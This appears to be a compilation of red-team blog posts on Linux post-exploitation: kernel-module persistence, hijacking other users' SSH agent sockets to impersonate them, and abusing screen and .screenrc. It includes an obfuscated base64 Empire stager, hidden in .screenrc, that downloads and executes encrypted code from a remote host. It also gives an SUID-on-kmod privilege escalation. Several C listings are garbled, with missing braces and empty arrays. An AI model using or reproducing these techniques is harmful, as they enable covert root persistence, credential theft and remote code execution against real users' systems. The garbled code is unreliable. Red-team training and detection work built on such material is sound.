Establish Persistence with a Custom Kernel Module

First and foremost I have to admit that establishing persistence with a custom kernel module, isn’t the most ideal way. Creating kernel modules isn’t that easy. Kernel modules are normally compiled against a single kernel version, there are significant limitations on what can be done in kernel space, and errors can cause the system to freeze or crash. Regardless, I think its a valuable learning experience, that all Linux security professionals should understand. For a much easier way to maintain access to modern system check out my post on persistence with systemd timers.

As mentioned, kernel space capabilities are limited to dealing with files and devices on behalf of userspace applications. Since modules themselves are loaded into the running kernel it can be fairly difficult to write persistence code within a module that plays nice with the kernel space protections and limited functionality. Instead we can leverage a kernel function “call_usermodehelper” to execute a command in the requesting userspace. Since by default only the root user can request a module be loaded, this gives us command execution as root. In its most simplistic form the source code for a module, test_shell.c would look like the following.

#include <linux/module.h>    // included for all kernel modules
#include <linux/init.h>      // included for __init and __exit macros

MODULE_DESCRIPTION("A Simple shell module");

static int __init shell_init(void)
    call_usermodehelper("/tmp/exe", NULL, NULL, UMH_WAIT_EXEC);
    return 0;    // Non-zero return means that the module couldn't be loaded.

static void __exit shell_cleanup(void)
    printk(KERN_INFO "Uninstalling Module!\n");


Since kernel mode capabilities and libraries are so limited, we can further simplify the payload execution by staging it into a standard c application instead. This allows for the module to attempt to execute the staged application in a root terminal and still return normally regardless of what happens. The source code for a simple c execution program, nammed exe.c, might look like the following.

#include <stdlib.h>
int main(void)
    system("wall \"Hello There Im a Module!\"");
    return 0;

If we don’t want to stage a second executable to establish persistence with the custom kernel module, its possible to create variables for the users environment and command line arguments to be passed directly to the ‘call_usermodeheler’ function. The module source code to do this might look like the following.

#include <linux/module.h>    // included for all kernel modules
#include <linux/init.h>      // included for __init and __exit macros

MODULE_DESCRIPTION("A Simple shell module");

static int __init shell_init(void)

    static char *envp[] = {

    char *argv[] = {
    "\"Hello I'm a Module!\"",

    call_usermodehelper("/bin/bash", argv, envp, UMH_WAIT_EXEC);
    printk(KERN_INFO "Installing Module!\n");
    return 0;    // Non-zero return means that the module couldn't be loaded.

static void __exit shell_cleanup(void)
    printk(KERN_INFO "Uninstalling Module!\n");


Before compiling the module, you will need to be on the target system or a similar system with the same kernel version. You will also need to have all of the required tools for kernel development and the current kernels header files. The easiest way to do that is to run ‘apt-get install build-essential linux-headers-$(uname -r)’ on Debian based systems or ‘yum install kernel-headers kernel-devel glibc-devel gcc gcc-c++ make’ for Redhat based systems.

Once the build tools are installed, we can create a Makefile with a kbuild (kernel builder) extension at the top to compile our module. Just keep in might that kbuild will switch to the kernel source directory and only allow use of includes of headers within the original source.

obj-m += test_shell.o

         make -C /lib/modules/$(shell uname -r)/build M=${PWD} modules

        make -C /lib/modules/$(shell uname -r)/build M=${PWD} clean

You can use a command like ‘insmod test_shell.ko’ to load a module directly into the kernel and ‘rmmod test_shell.ko’ to remove the module. This allows for easy testing of modules, before configuring them to automatically loaded at boot.

Once the module is complied and tests successfully, we can copy the module to the current kernels’ modules directory.

cp test_shell.ko /lib/modules/`uname -r`/kernel/lib/

Next we need to run ‘depmod’ to build out the binary tree files of all the modules and dependencies. Without the dependency tree updated, the system wont know our module exists or how to load it into the kernel.

depmod -a 

If we are going to stage the second executable for the module to attempt to execute, then we will need to compile it with gcc like the following.

gcc exe.c -o /tmp/exe

To have persistence with the custom kernel module loaded at boot time, we need to modify the config files for either modprobe or kmod depending on which is used. In most cases you can easily figure out if its a kmod system by looking if the standard module tools are just symbolic links to kmod. This can be done with a command like the following.

ls -al `which modprobe`

If the you do see modprobe is just a symbolic link to kmod, getting a registered module to start at boot is fairly simple. Just place the name of the module, minus the .ko extension, in the /etc/module config file. This can be done with a simple command like the following. It will cause systemd-modules-load service to utlize kmod, to automatically load the module on boot.

echo 'test-shell' >> /etc/modules

Interesting you can actually set the SUID bit on kmod so standard users can load modules as root. Whereas if you set SUID on legacy modprobe executable, it still runs in the userspace instead. So simply setting SUID on the kmod executable can be an easy way to establish privilege escalation similar to the dash shell, I’ve blogged about before.

If its not a kmod system, we can instead utilize modprobe to automatically start the custom module by creating a .conf file in the /etc/modeprobe.d/ directory. The content of the .conf should look similar too:

install test_shell

On modprobe systems, standard users can also request a module be loaded, if there is a valid configuration file that already exists. But any code execution is done within the requesting users context. Interestingly enough you can have modprobe run a terminal command after loading a module by appending a command to the end of install statement in the config file. That could work as a persistence method as well, but there is no guarantee all filesystems are mounted and networking has been established when the module is loaded.

With all that work complete, we have established persistence, until the kernel is updated at least.

Leverage SSH Agents to Move Across the Network

Accessing a production system in a Linux environment these days often requires a lot of ssh tunneling in order to get access to restricted systems. This is because it doesn’t make sense to publicly expose SSH to the internet or even your general-use, internal network. Instead there might be a bastion or jump box with ssh exposed as your initial way into the environment. Once connecting to the bastion host successfully you can then connect to another system within that restricted network or maybe even repeat the process to gain access to even more restricted hosts.

In order to handle authentication across multiple systems users leverage ssh agents. An SSH agent is effectively a helper program which stores unencrypted identity keys and credentials in memory. This allows for the SSH client to access these credentials via a Unix stream stock. The socket makes it so the end user doesn’t have to provide their credentials multiple times. The user can also request the SSH client retains access to the socket, when connecting to another system, by enabling agent-forwarding with the -A flag.

With SSH agent-forwarding enabled, the SSH client essentially creates a linked copy of the stream socket on the remote system. By default the socket is created in the /tmp directory in a folder named ssh-<10 random characters>, with the socket named agent.<agent pid>. The ssh agent folder is only granted privileges to the connecting user account. To see what agents are around on a given machine you can look through the /tmp directory with a command similar to:

ls /tmp -l | egrep 'ssh-.{10}$'

Finding SSH Agents

Since agent sockets are stored in /tmp and the reference to which agent to use is controled entirely by the value in the SSH_AUTH_SOCK environment variable. The root account, superusers, and possibly sudoers can change their environment variable to the socket of another connected user and effectively masquerade as them on the network. In fact you would even have accesses to any of the other keys the user added to the agent. Given you have access to a shared systems root account, you could use commands like the following to impersonate the user and view a list of registered keys.

ls /tmp| egrep 'ssh-.{10}$' # list the agent sockets that may be available
export SSH_AUTH_SOCK=/tmp/'ssh-.{10}$'/agent.<pid> # choose one and set appropriate values as you SSH_AUTH_SOCK environment variable
ssh-add -l # list all credentials available to the agent

The commands could even all be combined into a single loop like the one bellow. However, the ability to query and leverage the credentials is dependent on a stable connection from the target user. Stale agents can hang, because the socket cleanup process doesn’t necessarily happen once a session is closed.

for AGENT in $(ls /tmp| egrep 'ssh-.{10}$'); do export SSH_AUTH_SOCK=/tmp/$AGENT/$(ls /tmp/$AGENT);echo $AGENT $(stat -c '%U' /tmp/$AGENT);timeout 10 ssh-add -l;done;

Note: A lot of common programs like git, rsync, scp, etc also allow you yo leverage SSH agents. So if a given agent doesn’t get you access to another system, also be sure to try and use it to authenticate against common services.

Impersonating users and pivoting

Once you have an agent you want to leverage, just set it as the SSH_AUTH_SOCK environment variable. Then use it to try and log into other systems or services as the targeted user. Its also worth mentioning that you also be able to leverage the ssh agent and port forwarding to gain access to otherwise restricted system. I’ve created a somewhat related post about leveraging port forwarding in a previous post.

Always run commands like w or who to see where the user is connecting from. Then use that IP address to try and connect back to the users origin system. Most of the time, the users public key is added to their own systems authorized_keys file for ease of access.

This issue is most often seen in development environments, where users traditionally have elevated system access. These systems are also not as well defended or updated as often as production systems. That coupled with the fact that most of the time users don’t maintain account separation between development and production environments, makes it prime to leverage ssh agents.

Abusing screen and .screenrc to Escalate and Maintain Access

When it comes to playing the part of the hacker/red team in competitions like CCDC. I’m always looking for unique ways to gain and maintain access to systems. Lately I’ve toying with the idea of leveraging features in common administration tools instead of exploits or misconfigurations. My favorite of which is abusing screen and .screenrc features to establish a foothold.

Why screen?

The screen command is definitely something I think every Linux Administrator uses every day. The reason why is simple, its probably the best way to maintain your work or run longer jobs without the effort of creating a system service. This is because when the screen command issued it effective creates another terminal (TTY) independent of the current users session. So if the administrators session isn’t stable or its impractical to wait, the job won’t be affected.

Fun Fact: By default screens are actually allocated a TTY and spawned by the init process, not the current user. So the screen process, TTY, and child processes won’t show in user level process listings or the standard last, w, or who command outputs. Instead you can use the who command with the -a (all) option to also display TTYs spawned by init.

Abusing screen and .screenrc via abandoned screens

Given that the most common use case for the screen command is administrators running jobs that can’t be interrupted. Therefore it’s always worth checking to see if any screens are running when you compromise a users account. Its not that uncommon for administrators to elevate privileges or even switch users all together within a screen. If an administrator switches to root/superuser account in a screen, the screen still only allows the original spawning user access. If that’s a lower privilege user that you’ve compromised, its an easy privilege escalation case.

So you might be thinking that the administrator should have just used sudo to elevate privileges within the screen instead of switching to root/superuser. Its definitely a safer option, but not the best option because once a users password is entered for a sudo command, by default its not requested again for 15 minutes. So if you’re in the right screen at the right time, or willing to wait long enough, sudo can still be used as a means to privilege escalate as well.

You can check to see if the current user within a screen can sudo without prompt by running sudo in non-interactive mode and seeing if it errors out.

if sudo -n true 2>/dev/null; then echo "I can sudo"; else echo "I cannot sudo"; fi

Abusing screen and .screenrc via multi-user support

The alternative laid out by the developer of the screen tool is actually a rather detailed set of permissions and multi-user support for individual screens themselves. Going over the individual permissions that are available is probably out of the scope of this post. However multi-user support is actually used in cases where multi individuals need to access jobs running in a screen of a service account, but aren’t actually allowed superuser privileges.

For instances, in my consultant days we had external nmap scanning systems, all the consultants had access to scans running within screens, in case they needed to be modified or stopped. This allowed us to maintain access to all running jobs, but we weren’t required to have superuser access to switch users or elevate privileges to kill other users processes.

To use multi-user support, make sure the SUID bit is set on the screen executable and modify the individual users (~/.screenrc or global (/etc/screenrc) screenrc files. For example, if you wanted to try and maintain access to screens created by root via a compromised standard users named tester, you could include the following in /root/.screenrc file.

multiuser on
acladd tester

If screens are not being used enough to leverage changes to the .screenrc file. You can also modify one of the target users profile files to issue the screen command automatically. You can do this by adding ‘screen -RR’ to the users ~/.bashrc file or the global /etc/bashrc file. This will reattach to any existing screen or create a screen and attach to it, once login has completed.

Note: For highly secure environments its likely best to disable multi-user support in the global screenrc file. Also consider setting your global sudoers configure to timestamp_timeout=0, will require a password for every use of the sudo command. Change control and/or watchers on resource (~.*rc) and profile files might also help.

Abusing screen and .screenrc with stuff and clear

Maintaining Access with the stuff and clear technique

Leveraging multi-user support isn’t the only way of abusing screen and .screenrc to maintain access. Instead I now utilize a technique I call stuff and clear. In this technique the target users .screenrc file is modified to create a screen layer whenever a screen is executed. This arbitrary, named layer allows for the command “stuff” to send raw characters to the screen.

Luckily, the builtin printf command will handle the raw character encoding. So printf can type out shell code, send an return key press, type out the clear command, and send a final return key press. The stuff command will then effectively create the same screen pop effect that already happens when a new screen is created. So unless the user enters copy mode and scrolls up or errors occur, they are unlikely to notice.

Here is a code segment from a Empyre module I wrote for CCDC a few years ago, that does just as a described. It will write an Empyre shell to the users .screenrc file using the stuff and clear technique.

echo 'screen -t "python"' >> ~/.screenrc && printf "stuff \""'echo \\'"\"import sys,base64;exec(base64.b64decode(\\\'bU9WakhVPSdSSVRQYURSbFFwJwppbXBvcnQgc3lzLCB1cmxsaWIyO289X19pbXBvcnRfXyh7MjondXJsbGliMicsMzondXJsbGliLnJlcXVlc3QnfVtzeXMudmVyc2lvbl9pbmZvWzBdXSxmcm9tbGlzdD1bJ2J1aWxkX29wZW5lciddKS5idWlsZF9vcGVuZXIoKTtVQT0nSDNTRTIwUVlSRlZGWTFVOCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKV07YT1vLm9wZW4oJ2h0dHA6Ly8xMC4wLjAuMTAwOjgwODAvaW5kZXguYXNwJykucmVhZCgpO2tleT0nM2ViMDMwYzZhYjA5OWIwYTM1NTcxMmZlMzhkNTlmZmInO1MsaixvdXQ9cmFuZ2UoMjU2KSwwLFtdCmZvciBpIGluIHJhbmdlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp\\\'));"'\\'"\" | python &\rclear\r"'"' >> ~/.screenrc

Fun Fact: Screen also supports not terminating windows when a screen is exited. This can be done by adding the ‘zombie kr’ line to the .screenrc file. In the case of some payload types, this would mean the shell process would still be running until an administrator killed the screen manually.

One Final Thought

Since I’m the current maintainer of linuxprivchecker, I’ve also taken the time to begin to make changes to help detect these opportunities related to abusing screen and .screenrc for privilege escalation. I hope to continue to add features to this tool and provide related blog posts like this one. These new features will likely sit in the unstable branch for some time before they make it to master. Any assistance with testing, feedback, or ideas is always welcome.